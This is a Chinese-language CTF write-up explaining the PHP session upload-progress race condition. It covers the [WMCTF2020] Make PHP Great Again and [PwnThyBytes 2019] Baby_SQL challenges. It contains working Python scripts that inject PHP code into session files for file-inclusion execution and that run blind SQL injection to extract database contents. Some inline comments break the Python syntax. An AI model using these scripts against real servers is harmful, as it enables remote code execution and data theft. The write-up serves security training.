PHP Session条件竞争超详细讲解

PHP SESSION 的存储

Session会话存储方式

PHP将session以文件的形式存储服务器的文件中，session.save_path来控制

默认路径

/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

session文件默认是/var/lib/php/sessions目录下，文件名是sess_加上sessionID字段

但是在赛题中大多数都是/tmp目录下，需要php.ini力sesion.auto_start设置为1，然后修改目录

session.auto_start：如果开启这个选项，则PHP在接收请求的时候会自动初始化Session，不再需要执行session_start()。但默认情况下，也是通常情况下，这个选项都是默认关闭的。

session.upload_progress.cleanup = on：表示当文件上传结束后，php将会立即清空对应session文件中的内容。该选项默认开启

session.use_strict_mode：默认情况下，该选项的值是0，此时用户可以自己定义Session ID。

使用 Python 实现创建 Session 文件的过程：

import io
import requests
import threading
sessid = 'whoami'
def POST(session):
    f = io.BytesIO(b'a' * 1024 * 50)
    session.post(
        'http://192.168.43.82/index.php',
        data={"PHP_SESSION_UPLOAD_PROGRESS":"123"},  //用来改变session中的值
        files={"file":('q.txt', f)},
        cookies={'PHPSESSID':sessid} //用来sesssion中的文件名  sess_whoami
    )
with requests.session() as session:
    while True:
        POST(session)
        print("[+] 成功写入sess_whoami")

[WMCTF2020]Make PHP Great Again

<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
  require_once $_GET['file'];
}

这道题是文件包含，已经包含过了一次flag.php，就不能二次包含了，一种方法是软连接/proc/self/root绕过

/proc/self指向当前进程的/proc/pid/

/proc/self/root/是指向/的符号链接

这道题也可以 用条件竞争进行，

import io
import sys
import requests
import threading
host = 'http://6417a062-bc49-48f8-bbad-2b203887ba46.node4.buuoj.cn:81/'
sessid = 'feng'
def POST(session):
 while True:
  f = io.BytesIO(b'a' * 1024 * 50)
  session.post(
  host,
  data={
 # "PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat flag.php');echo md5('1');?>"},
  "PHP_SESSION_UPLOAD_PROGRESS": "<?php phpinfo();echo md5('1');?>"},//session存值
  files={
  "file":('a.txt', f)},
  cookies={
   'PHPSESSID':sessid}//改名
    )
def READ(session):
 while True:
   response = session.get(f'{host}?file=/tmp/sess_{sessid}')//路径
# print(response.text)
   if 'c4ca4238a0b923820dcc509a6f75849b' not in response.text://1的md5
      print('[+++]retry')
   else:
      print(response.text)
      sys.exit(0)
with requests.session() as session:
  t1 = threading.Thread(target=POST, args=(session, ))//线程可以套循环 多层线程
  t1.daemon = True  //相当完成任务直接结束，不用等线程全部结束
  t1.start()
  READ(session)

线程结束后，想在网页获得php坏境页面可是找不到，

希望有师傅解答一下，然后这样就非常局限，

[PwnThyBytes 2019]Baby_SQL

访问源码，获得source.zip

打开后发现index.php

<?php
session_start();
foreach ($_SESSION as $key => $value): $_SESSION[$key] = filter($value); endforeach;
foreach ($_GET as $key => $value): $_GET[$key] = filter($value); endforeach;
foreach ($_POST as $key => $value): $_POST[$key] = filter($value); endforeach;
foreach ($_REQUEST as $key => $value): $_REQUEST[$key] = filter($value); endforeach;
function filter($value)
{
    !is_string($value) AND die("Hacking attempt!");
    return addslashes($value);
}
isset($_GET['p']) AND $_GET['p'] === "register" AND $_SERVER['REQUEST_METHOD'] === 'POST' AND isset($_POST['username']) AND isset($_POST['password']) AND @include('templates/register.php');
isset($_GET['p']) AND $_GET['p'] === "login" AND $_SERVER['REQUEST_METHOD'] === 'GET' AND isset($_GET['username']) AND isset($_GET['password']) AND @include('templates/login.php');
isset($_GET['p']) AND $_GET['p'] === "home" AND @include('templates/home.php');
?>

都要经过最后的过滤，然后通过传参p进行包含templates目录下面的文件

login.php

<?php
!isset($_SESSION) AND die("Direct access on this script is not allowed!");
include 'db.php';
$sql = 'SELECT `username`,`password` FROM `ptbctf`.`ptbctf` where `username`="' . $_GET['username'] . '" and password="' . md5($_GET['password']) . '";';
$result = $con->query($sql);
function auth($user)
{
    $_SESSION['username'] = $user;
    return True;
}
($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND auth($row['username']) AND die('<meta http-equiv="refresh" content="0; url=?p=home" />')) OR ($con->close() AND die('Try again!'));
?>

发现就login.php里面没有过滤，然后

!isset($_SESSION) AND die("Direct access on this script is not allowed!");

意思为如果不存在session就die输出，前面的为true才执行后面的

($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND auth($row['username']) AND die('<meta http-equiv="refresh" content="0; url=?p=home" />')) OR ($con->close() AND die('Try again!'));

OR前面是false才执行后面的语句。然后这里的意思前面有个大的括号里有一个满足就会执行$con->close(),然后这个执行返回true的话就会执行die(“Not allowed!”);

所以如果我们要直接访问login.php进行sql注入的话，还需要带上一个session才行，这里边用上了我们的PHP_SESSION_UPLOAD_PROGRESS了。我们可以使用PHP_SESSION_UPLOAD_PROGRESS来在目标服务器上初始化一个session，然后便可以绕过index.php中的检测，直接访问login.php进行sql注入了。

import requests
url = "http://d9cf1c36-45c7-47e2-b0f9-1da95406b5d3.node4.buuoj.cn:81/templates/login.php"
//这个templates是因为login.php在这个目录下面
files = {"file": "123456789"}
a = requests.post(url=url, files=files, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"},
                  cookies={"PHPSESSID": "test1"}, params={'username': 'test', 'password': 'test'},
                  proxies={'http': "http://127.0.0.1:8080"})通过这个接口，burp就可以抓包到
print(a.text)

然后对username进行注入，发现是用"进行闭合,然后回显，可以用盲注实现

<meta http-equiv="refresh" content="0; url=?p=home" />

import requests
import time
url = "http://d8412613-fa2e-4a01-bd02-c0dea96bce33.node4.buuoj.cn:81/templates/login.php"
files = {"file": "123456789"}
flag=''
for i in range(1,100):
    low = 32
    high = 128
    mid = (low+high)//2
    while (low < high):
        time.sleep(0.06)
        #payload_flag ={'username': "test\" or (ascii(substr((select
group_concat(username) from ptbctf ),{0},1))>{1}) #".format(i, mid),'password': 'test'}
        payload_flag = {
            'username': 'test" or (ascii(substr(database(),{0},1))>{1}) #'.format(i,mid),'password': 'test'}
        r = requests.post(url=url,params=payload_flag,files=files, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"},
                  cookies={"PHPSESSID": "test1"})

        print(payload_flag)
        if '<meta http-equiv="refresh" content="0; url=?p=home" />' in r.text:
            low = mid +1
        else:
            high = mid
        mid = (low + high) // 2
    if(mid==32 ):
        break
    flag +=chr(mid)
    print(flag)
print(flag)

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